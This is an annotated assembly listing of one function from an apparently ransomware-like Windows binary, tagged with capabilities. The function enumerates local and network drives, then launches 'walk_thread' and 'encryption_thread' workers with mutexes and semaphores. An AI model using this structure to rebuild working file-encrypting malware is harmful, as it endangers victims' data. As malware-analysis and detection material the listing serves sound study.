Function at 0x401f80
Capabilities:
Check mutex on windows
Create thread
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
push ebx
push esi
push 8
call fcn.00416e4b
xorps xmm0, xmm0
push 8
movq qword [eax], xmm0
mov dword [ebp - 0x2c], eax
call fcn.00416e4b
xorps xmm0, xmm0
push 4
movq qword [eax], xmm0
mov dword [ebp - 0x28], eax
call fcn.00416e4b
push 4
mov dword [eax], 0
mov dword [ebp - 0x24], eax
call fcn.00416e4b
mov esi, dword [sym.imp.KERNEL32.dll_CreateMutexA]
add esp, 0x10
mov dword [eax], 0
push 0
push 0
push 0
mov dword [ebp - 0x20], eax
call esi
mov ecx, dword [ebp - 0x24]
push 0
push 0
push 0
mov dword [ecx], eax
call esi
mov ecx, dword [ebp - 0x20]
push 0
push 0x7fffffff
push 0
push 0
mov dword [ecx], eax
call dword [sym.imp.KERNEL32.dll_CreateSemaphoreA]
push 1
push 0
push 0
mov dword [ebp - 0x1c], eax
mov eax, dword [0x43a88c]
push str.walk_thread
push eax
push eax
call fcn.004105b0
mov eax, dword [eax + 0x10]
push dword [eax + 0x18]
call fcn.0041741c
mov ecx, dword [0x43a88c]
mov ebx, eax
push 1
push 0
push 0
push str.encryption_thread
push ecx
push ecx
mov dword [ebp - 0xc], ebx
call fcn.004105b0
mov eax, dword [eax + 0x10]
push dword [eax + 0x18]
call fcn.0041741c
lea esi, [ebx*4]
mov dword [ebp - 4], eax
add esp, 0x38
test esi, esi
jne 0x402061
mov dword [ebp - 8], esi
jmp 0x402078
push esi
call fcn.00416e4b
push esi
mov ebx, eax
push 0
push ebx
mov dword [ebp - 8], ebx
call fcn.00413b10
add esp, 0x10
test esi, esi
jne 0x402081
mov dword [ebp - 0x10], esi
jmp 0x402098
push esi
call fcn.00416e4b
push esi
mov ebx, eax
push 0
push ebx
mov dword [ebp - 0x10], ebx
call fcn.00413b10
add esp, 0x10
mov eax, dword [0x43a88c]
push edi
push 1
push 0
push 0
push str.services
push eax
push eax
call fcn.004105b0
push 0x42931c
mov eax, dword [eax + 0x10]
push dword [eax + 0x18]
call fcn.00401ea0
mov esi, eax
push esi
call fcn.004022e0
add esp, 0x24
mov edi, eax
test esi, esi
je 0x4020da
push esi
call fcn.00416e46
add esp, 4
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
lea eax, [ebp - 0x2c]
push 0
push 0
push eax
push 0x403600
push 0
push 0
call esi
test edi, edi
je 0x402107
push 0
push 0
push edi
push 0x403710
push 0
push 0
call esi
mov ebx, dword [ebp - 0x2c]
push 0x1000
call fcn.00416e4b
push 0x1000
mov esi, eax
push 0
push esi
mov dword [ebp - 0x18], esi
call fcn.00413b10
add esp, 0x10
push esi
push 0x800
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsW]
mov edi, esi
lea ecx, [esi + 2]
nop word [eax + eax]
mov ax, word [esi]
add esi, 2
test ax, ax
jne 0x402140
sub esi, ecx
sar esi, 1
test esi, esi
jle 0x4021b5
push edi
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
push 0x5c
push edi
mov dword [ebp - 0x14], eax
call fcn.00413a63
xor ecx, ecx
add esp, 8
mov word [eax], cx
mov eax, dword [ebp - 0x14]
cmp eax, 3
je 0x40217a
cmp eax, 4
jne 0x402197
push edi
call fcn.00401210
add esp, 4
mov ecx, eax
cmp dword [ebx], 0
jne 0x40218e
mov dword [ebx], ecx
jmp 0x402194
mov eax, dword [ebx + 4]
mov dword [eax + 0x10], ecx
mov dword [ebx + 4], ecx
lea edi, [edi + esi*2]
add edi, 2
mov esi, edi
lea ecx, [esi + 2]
mov ax, word [esi]
add esi, 2
test ax, ax
jne 0x4021a2
sub esi, ecx
sar esi, 1
test esi, esi
jg 0x402153
mov eax, dword [ebp - 0x18]
test eax, eax
je 0x4021c5
push eax
call fcn.00416e46
add esp, 4
mov ebx, dword [sym.imp.KERNEL32.dll_CreateThread]
lea eax, [ebp - 0x2c]
push 0
push 0
push eax
push 0x403e30
push 0
push 0
call ebx
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
xor esi, esi
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0xc], esi
jle 0x402216
nop
push 0
push 0
lea eax, [ebp - 0x2c]
push eax
push 0x4041a0
push 0
push 0
call ebx
mov ecx, dword [ebp - 8]
push 0x12c
mov dword [ecx + esi*4], eax
call edi
inc esi
cmp esi, dword [ebp - 0xc]
jl 0x4021f0
xor esi, esi
cmp dword [ebp - 4], esi
jle 0x402246
nop dword [eax]
push 0
push 0
lea eax, [ebp - 0x2c]
push eax
push 0x403960
push 0
push 0
call ebx
mov ecx, dword [ebp - 0x10]
push 0x12c
mov dword [ecx + esi*4], eax
call edi
inc esi
cmp esi, dword [ebp - 4]
jl 0x402220
push 0xffffffffffffffff
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov edi, dword [ebp - 8]
mov esi, dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
push 0xffffffffffffffff
push 1
push edi
push dword [ebp - 0xc]
call esi
push 0
push dword [ebp - 4]
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
mov ebx, dword [ebp - 0x10]
push 0xffffffffffffffff
push 1
push ebx
push dword [ebp - 4]
call esi
test edi, edi
je 0x40228c
push edi
call fcn.00416e46
add esp, 4
pop edi
test ebx, ebx
je 0x40229a
push ebx
call fcn.00416e46
add esp, 4
mov eax, dword [ebp - 0x2c]
pop esi
pop ebx
test eax, eax
je 0x4022b3
push eax
call fcn.00416e46
add esp, 4
mov dword [ebp - 0x2c], 0
mov eax, dword [ebp - 0x28]
test eax, eax
je 0x4022c3
push eax
call fcn.00416e46
add esp, 4
mov esp, ebp
pop ebp
ret